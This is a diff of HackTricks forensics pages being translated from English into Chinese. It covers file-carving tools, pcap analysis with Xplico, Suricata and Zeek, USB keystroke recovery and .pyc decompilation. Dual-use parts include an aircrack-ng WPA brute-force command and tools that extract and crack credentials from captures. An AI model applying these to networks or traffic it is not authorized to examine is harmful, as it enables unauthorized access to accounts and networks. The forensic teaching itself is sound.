+在取证中提取图像文件的最常用工具是 [**Autopsy**](https://www.autopsy.com/download/)。下载并安装它,然后让它处理文件以查找“隐藏”文件。请注意,Autopsy 是为支持磁盘映像和其他类型的映像而构建的,但不支持简单文件。
### Binwalk
-**Binwalk** is a tool for analyzing binary files to find embedded content. It's installable via `apt` and its source is on [GitHub](https://github.com/ReFirmLabs/binwalk).
-
-**Useful commands**:
+**Binwalk** 是一个用于分析二进制文件以查找嵌入内容的工具。可以通过 `apt` 安装,其源代码在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上。
+**有用的命令**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
-
### Foremost
-Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for its default configured file types.
-
+另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件,请取消注释它们。如果您不取消注释任何内容,foremost 将搜索其默认配置的文件类型。
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
-
### **Scalpel**
-**Scalpel** is another tool that can be used to find and extract **files embedded in a file**. In this case, you will need to uncomment from the configuration file (_/etc/scalpel/scalpel.conf_) the file types you want it to extract.
-
+**Scalpel** 是另一个可以用来查找和提取 **嵌入在文件中的文件** 的工具。在这种情况下,您需要从配置文件 (_/etc/scalpel/scalpel.conf_) 中取消注释您希望提取的文件类型。
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
-
### Bulk Extractor
-This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
-
-This tool can scan an image and will **extract pcaps** inside it, **network information (URLs, domains, IPs, MACs, mails)** and more **files**. You only have to do:
+这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+这个工具可以扫描一个镜像并将**提取pcaps**,**网络信息(URLs,域名,IPs,MACs,邮件)**和更多**文件**。你只需执行:
```
bulk_extractor memory.img -o out_folder
```
-
-Navigate through **all the information** that the tool has gathered (passwords?), **analyse** the **packets** (read[ **Pcaps analysis**](../pcap-inspection/)), search for **weird domains** (domains related to **malware** or **non-existent**).
+导航工具收集的**所有信息**(密码?),**分析** **数据包**(阅读[ **Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在**的域名相关)。
### PhotoRec
-You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
+您可以在 [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) 找到它。
-It comes with GUI and CLI versions. You can select the **file-types** you want PhotoRec to search for.
+它提供GUI和CLI版本。您可以选择PhotoRec要搜索的**文件类型**。
.png>)
### binvis
-Check the [code](https://code.google.com/archive/p/binvis/) and the [web page tool](https://binvis.io/#/).
+查看[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
-#### Features of BinVis
+#### BinVis的特点
-- Visual and active **structure viewer**
-- Multiple plots for different focus points
-- Focusing on portions of a sample
-- **Seeing stings and resources**, in PE or ELF executables e. g.
-- Getting **patterns** for cryptanalysis on files
-- **Spotting** packer or encoder algorithms
-- **Identify** Steganography by patterns
-- **Visual** binary-diffing
+- 视觉和主动的**结构查看器**
+- 针对不同焦点的多个图
+- 专注于样本的部分
+- **查看PE或ELF可执行文件中的字符串和资源**
+- 获取文件的**模式**以进行密码分析
+- **识别**打包器或编码器算法
+- 通过模式**识别**隐写术
+- **视觉**二进制差异比较
-BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario.
+BinVis是一个很好的**起点,以熟悉未知目标**在黑箱场景中。
-## Specific Data Carving Tools
+## 特定数据雕刻工具
### FindAES
-Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
+通过搜索其密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。
-Download [here](https://sourceforge.net/projects/findaes/).
+在[这里](https://sourceforge.net/projects/findaes/)下载。
-## Complementary tools
+## 补充工具
-You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\
-You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
+您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。\
+您可以使用Linux命令行工具**pdftotext**将pdf转换为文本并阅读。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
index f076c885c..40d120704 100644
--- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
+++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
@@ -1,74 +1,65 @@
{{#include ../../../banners/hacktricks-training.md}}
-# Carving tools
+# 切割工具
## Autopsy
-The most common tool used in forensics to extract files from images is [**Autopsy**](https://www.autopsy.com/download/). Download it, install it and make it ingest the file to find "hidden" files. Note that Autopsy is built to support disk images and other kind of images, but not simple files.
+在取证中,最常用的工具是 [**Autopsy**](https://www.autopsy.com/download/),用于从镜像中提取文件。下载并安装它,然后让它处理文件以查找“隐藏”文件。请注意,Autopsy 是为支持磁盘镜像和其他类型的镜像而构建的,但不支持简单文件。
## Binwalk
-**Binwalk** is a tool for searching binary files like images and audio files for embedded files and data.
-It can be installed with `apt` however the [source](https://github.com/ReFirmLabs/binwalk) can be found on github.
-**Useful commands**:
-
+**Binwalk** 是一个用于搜索二进制文件(如图像和音频文件)中嵌入文件和数据的工具。它可以通过 `apt` 安装,但 [源代码](https://github.com/ReFirmLabs/binwalk) 可以在 github 上找到。
+**有用的命令**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
-
## Foremost
-Another common tool to find hidden files is **foremost**. You can find the configuration file of foremost in `/etc/foremost.conf`. If you just want to search for some specific files uncomment them. If you don't uncomment anything foremost will search for it's default configured file types.
-
+另一个常用的查找隐藏文件的工具是 **foremost**。您可以在 `/etc/foremost.conf` 中找到 foremost 的配置文件。如果您只想搜索某些特定文件,请取消注释它们。如果您不取消注释任何内容,foremost 将搜索其默认配置的文件类型。
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
-
## **Scalpel**
-**Scalpel** is another tool that can be use to find and extract **files embedded in a file**. In this case you will need to uncomment from the configuration file \(_/etc/scalpel/scalpel.conf_\) the file types you want it to extract.
-
+**Scalpel** 是另一个可以用来查找和提取 **嵌入在文件中的文件** 的工具。在这种情况下,您需要从配置文件 \(_/etc/scalpel/scalpel.conf_\) 中取消注释您希望提取的文件类型。
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
-
## Bulk Extractor
-This tool comes inside kali but you can find it here: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
-
-This tool can scan an image and will **extract pcaps** inside it, **network information\(URLs, domains, IPs, MACs, mails\)** and more **files**. You only have to do:
+这个工具包含在kali中,但你可以在这里找到它: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
+这个工具可以扫描一个镜像并将**提取pcaps**,**网络信息(URLs,域名,IPs,MACs,邮件)**和更多**文件**。你只需执行:
```text
bulk_extractor memory.img -o out_folder
```
-
-Navigate through **all the information** that the tool has gathered \(passwords?\), **analyse** the **packets** \(read[ **Pcaps analysis**](../pcap-inspection/)\), search for **weird domains** \(domains related to **malware** or **non-existent**\).
+导航通过工具收集的**所有信息**(密码?),**分析** **数据包**(阅读[ **Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在的**域名相关)。
## PhotoRec
-You can find it in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
+您可以在[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)找到它。
-It comes with GUI and CLI version. You can select the **file-types** you want PhotoRec to search for.
+它提供GUI和CLI版本。您可以选择要让PhotoRec搜索的**文件类型**。

-# Specific Data Carving Tools
+# 特定数据雕刻工具
## FindAES
-Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker.
+通过搜索其密钥调度来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。
-Download [here](https://sourceforge.net/projects/findaes/).
+在[这里下载](https://sourceforge.net/projects/findaes/)。
-# Complementary tools
+# 补充工具
-You can use [**viu** ](https://github.com/atanunq/viu)to see images form the terminal.
-You can use the linux command line tool **pdftotext** to transform a pdf into text and read it.
+您可以使用[**viu**](https://github.com/atanunq/viu)从终端查看图像。
+您可以使用Linux命令行工具**pdftotext**将pdf转换为文本并进行阅读。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md
index 9e6ebd08d..3e7b6faf0 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md
@@ -2,31 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
-
-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
> [!NOTE]
-> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools.
+> 关于 **PCAP** 与 **PCAPNG** 的说明:PCAP 文件格式有两个版本;**PCAPNG 是较新的,并不是所有工具都支持**。您可能需要使用 Wireshark 或其他兼容工具将文件从 PCAPNG 转换为 PCAP,以便在某些其他工具中使用。
-## Online tools for pcaps
+## 在线工具用于 pcaps
-- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
-- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com)
-- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
+- 如果您的 pcap 的头部是 **损坏的**,您应该尝试使用:[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) **修复** 它
+- 在 [**PacketTotal**](https://packettotal.com) 中提取 **信息** 并搜索 pcap 内的 **恶意软件**
+- 使用 [**www.virustotal.com**](https://www.virustotal.com) 和 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) 搜索 **恶意活动**
-## Extract Information
+## 提取信息
-The following tools are useful to extract statistics, files, etc.
+以下工具对于提取统计信息、文件等非常有用。
### Wireshark
> [!NOTE]
-> **If you are going to analyze a PCAP you basically must to know how to use Wireshark**
+> **如果您要分析 PCAP,您基本上必须知道如何使用 Wireshark**
-You can find some Wireshark tricks in:
+您可以在以下位置找到一些 Wireshark 技巧:
{{#ref}}
wireshark-tricks.md
@@ -34,111 +28,93 @@ wireshark-tricks.md
### Xplico Framework
-[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on.
-
-**Install**
+[**Xplico** ](https://github.com/xplico/xplico)_(仅限 linux)_ 可以 **分析** 一个 **pcap** 并从中提取信息。例如,从一个 pcap 文件中,Xplico 提取每封电子邮件(POP、IMAP 和 SMTP 协议)、所有 HTTP 内容、每个 VoIP 通话(SIP)、FTP、TFTP 等。
+**安装**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
-
-**Run**
-
+**运行**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
+访问 _**127.0.0.1:9876**_,凭证为 _**xplico:xplico**_
-Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_
-
-Then create a **new case**, create a **new session** inside the case and **upload the pcap** file.
+然后创建一个 **新案例**,在案例中创建一个 **新会话** 并 **上传 pcap** 文件。
### NetworkMiner
-Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\
-This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way.
+像 Xplico 一样,它是一个 **分析和提取 pcaps 中对象** 的工具。它有一个免费版,你可以 **下载** [**这里**](https://www.netresec.com/?page=NetworkMiner)。它在 **Windows** 上工作。\
+这个工具也有助于从数据包中获取 **其他信息分析**,以便能够更 **快速** 地了解发生了什么。
### NetWitness Investigator
-You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\
-This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**.
+你可以从 [**这里下载 NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它在 Windows 上工作)**。\
+这是另一个有用的工具,**分析数据包** 并以有用的方式整理信息,以 **了解内部发生的事情**。
### [BruteShark](https://github.com/odedshimon/BruteShark)
-- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...)
-- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
-- Build a visual network diagram (Network nodes & users)
-- Extract DNS queries
-- Reconstruct all TCP & UDP Sessions
-- File Carving
+- 提取和编码用户名和密码(HTTP、FTP、Telnet、IMAP、SMTP...)
+- 提取身份验证哈希并使用 Hashcat 破解它们(Kerberos、NTLM、CRAM-MD5、HTTP-Digest...)
+- 构建可视化网络图(网络节点和用户)
+- 提取 DNS 查询
+- 重建所有 TCP 和 UDP 会话
+- 文件雕刻
### Capinfos
-
```
capinfos capture.pcap
```
-
### Ngrep
-If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters:
-
+如果您在 pcap 中**寻找**某些**东西**,可以使用**ngrep**。以下是使用主要过滤器的示例:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
+### 切割
-### Carving
-
-Using common carving techniques can be useful to extract files and information from the pcap:
+使用常见的切割技术可以从 pcap 中提取文件和信息:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
-### Capturing credentials
+### 捕获凭证
-You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface.
+您可以使用工具如 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 从 pcap 或实时接口中解析凭证。
-
-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Check Exploits/Malware
+## 检查漏洞/恶意软件
### Suricata
-**Install and setup**
-
+**安装和设置**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
-
-**Check pcap**
-
+**检查 pcap**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
-
### YaraPcap
-[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that
+[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) 是一个工具,可以
-- Reads a PCAP File and Extracts Http Streams.
-- gzip deflates any compressed streams
-- Scans every file with yara
-- Writes a report.txt
-- Optionally saves matching files to a Dir
+- 读取 PCAP 文件并提取 Http 流。
+- gzip 解压任何压缩流
+- 使用 yara 扫描每个文件
+- 写入 report.txt
+- 可选地将匹配的文件保存到一个目录
-### Malware Analysis
+### 恶意软件分析
-Check if you can find any fingerprint of a known malware:
+检查您是否可以找到已知恶意软件的任何指纹:
{{#ref}}
../malware-analysis.md
@@ -146,12 +122,11 @@ Check if you can find any fingerprint of a known malware:
## Zeek
-> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting.
+> [Zeek](https://docs.zeek.org/en/master/about.html) 是一个被动的开源网络流量分析器。许多操作员使用 Zeek 作为网络安全监控器 (NSM) 来支持对可疑或恶意活动的调查。Zeek 还支持广泛的流量分析任务,超出安全领域,包括性能测量和故障排除。
-Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are.
-
-### Connections Info
+基本上,由 `zeek` 创建的日志不是 **pcaps**。因此,您需要使用 **其他工具** 来分析包含 **pcaps** 信息的日志。
+### 连接信息
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
@@ -201,9 +176,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
-
-### DNS info
-
+### DNS 信息
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
@@ -220,8 +193,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
-
-## Other pcap analysis tricks
+## 其他 pcap 分析技巧
{{#ref}}
dnscat-exfiltration.md
@@ -237,10 +209,4 @@ usb-keystrokes.md
-
-
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
index 9f63fbab3..9cbbcd69c 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md
@@ -1,12 +1,12 @@
{{#include ../../../banners/hacktricks-training.md}}
-If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection.
+如果你有一个 USB 连接的 pcap,且有很多中断,可能这是一个 USB 键盘连接。
-A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
+这样的 wireshark 过滤器可能会很有用:`usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
-It could be important to know that the data that starts with "02" is pressed using shift.
+重要的是要知道,以 "02" 开头的数据是通过 shift 键按下的。
-You can read more information and find some scripts about how to analyse this in:
+你可以在以下链接中阅读更多信息并找到一些关于如何分析的脚本:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
index 9c3dba419..8d50b4134 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md
@@ -1,17 +1,15 @@
{{#include ../../../banners/hacktricks-training.md}}
-If you have a pcap containing the communication via USB of a keyboard like the following one:
+如果你有一个包含键盘通过USB通信的pcap,如下所示:
.png>)
-You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) to get what was written in the communication:
-
+你可以使用工具 [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) 来获取通信中写入的内容:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
-
-You can read more information and find some scripts about how to analyse this in:
+您可以阅读更多信息并找到一些关于如何分析此内容的脚本:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
index 36413cf70..65da4eb87 100644
--- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
+++ b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md
@@ -1,40 +1,38 @@
{{#include ../../../banners/hacktricks-training.md}}
-# Check BSSIDs
+# 检查 BSSID
-When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_:
+当你收到一个主要流量为 Wifi 的捕获文件时,可以使用 WireShark 开始调查捕获中的所有 SSID,方法是选择 _Wireless --> WLAN Traffic_:
.png>)
.png>)
-## Brute Force
-
-One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`:
+## 暴力破解
+该屏幕的其中一列指示是否在 pcap 中**发现了任何认证**。如果是这种情况,你可以尝试使用 `aircrack-ng` 进行暴力破解:
```bash
aircrack-ng -w pwds-file.txt -b file.pcap
```
+例如,它将检索保护 PSK(预共享密钥)的 WPA 密码,这将在稍后解密流量时需要。
-For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later.
+# 信标中的数据 / 侧信道
-# Data in Beacons / Side Channel
+如果您怀疑 **数据在 Wifi 网络的信标中泄露**,可以使用以下过滤器检查网络的信标:`wlan contains `,或 `wlan.ssid == "NAMEofNETWORK"` 在过滤后的数据包中搜索可疑字符串。
-If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings.
+# 在 Wifi 网络中查找未知 MAC 地址
-# Find Unknown MAC Addresses in A Wifi Network
-
-The following link will be useful to find the **machines sending data inside a Wifi Network**:
+以下链接将有助于查找 **在 Wifi 网络中发送数据的机器**:
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
-If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
+如果您已经知道 **MAC 地址,可以通过添加检查将其从输出中移除**,例如:`&& !(wlan.addr==5c:51:88:31:a0:3b)`
-Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic.
+一旦您检测到 **在网络中通信的未知 MAC** 地址,可以使用 **过滤器**,例如:`wlan.addr== && (ftp || http || ssh || telnet)` 来过滤其流量。请注意,ftp/http/ssh/telnet 过滤器在您解密流量后非常有用。
-# Decrypt Traffic
+# 解密流量
-Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit
+编辑 --> 首选项 --> 协议 --> IEEE 802.11 --> 编辑
.png>)
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index ec397e99a..4c6e1be87 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,77 +1,60 @@
-# Decompile compiled python binaries (exe, elf) - Retreive from .pyc
+# 反编译已编译的python二进制文件(exe, elf) - 从.pyc中提取
{{#include ../../../banners/hacktricks-training.md}}
-
-
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
-
-## From Compiled Binary to .pyc
-
-From an **ELF** compiled binary you can **get the .pyc** with:
+## 从已编译的二进制文件到.pyc
+从一个**ELF**已编译的二进制文件中,你可以**获取.pyc**:
```bash
pyi-archive_viewer
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
- (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
- (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
- (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
- (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
- (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
- (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
- (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
- (15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
- (15535, 2514, 4421, 1, 's', 'binary_name'),
+(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
+(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
+(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
+(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
+(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
+(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
+(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
+(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
+(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
-
-In a **python exe binary** compiled you can **get the .pyc** by running:
-
+在一个**python exe 二进制**文件中,你可以通过运行来**获取 .pyc**:
```bash
python pyinstxtractor.py executable.exe
```
+## 从 .pyc 到 python 代码
-## From .pyc to python code
-
-For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**:
-
+对于 **.pyc** 数据(“编译的” python),您应该开始尝试 **提取** **原始** **python** **代码**:
```bash
uncompyle6 binary.pyc > decompiled.py
```
+**确保**二进制文件具有**扩展名**“**.pyc**”(如果没有,uncompyle6 将无法工作)
-**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work)
-
-While executing **uncompyle6** you might find the **following errors**:
-
-### Error: Unknown magic number 227
+在执行**uncompyle6**时,您可能会遇到**以下错误**:
+### 错误:未知的魔术数字 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
+要解决此问题,您需要**在生成的文件开头添加正确的魔术数字**。
-To fix this you need to **add the correct magic number** at the beginning of the generated file.
-
-**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute:
-
+**魔术数字因 Python 版本而异**,要获取**Python 3.8**的魔术数字,您需要**打开一个 Python 3.8**终端并执行:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
+在这种情况下,python3.8 的 **magic number** 是 **`0x550d0d0a`**,然后,要修复此错误,您需要在 **.pyc 文件** 的 **开头** 添加以下字节:`0x0d550a0d000000000000000000000000`
-The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000`
-
-**Once** you have **added** that magic header, the **error should be fixed.**
-
-This is how a correctly added **.pyc python3.8 magic header** will look like:
+**一旦** 您 **添加** 了该魔术头,**错误应该会被修复。**
+这就是正确添加的 **.pyc python3.8 magic header** 的样子:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@@ -79,25 +62,23 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
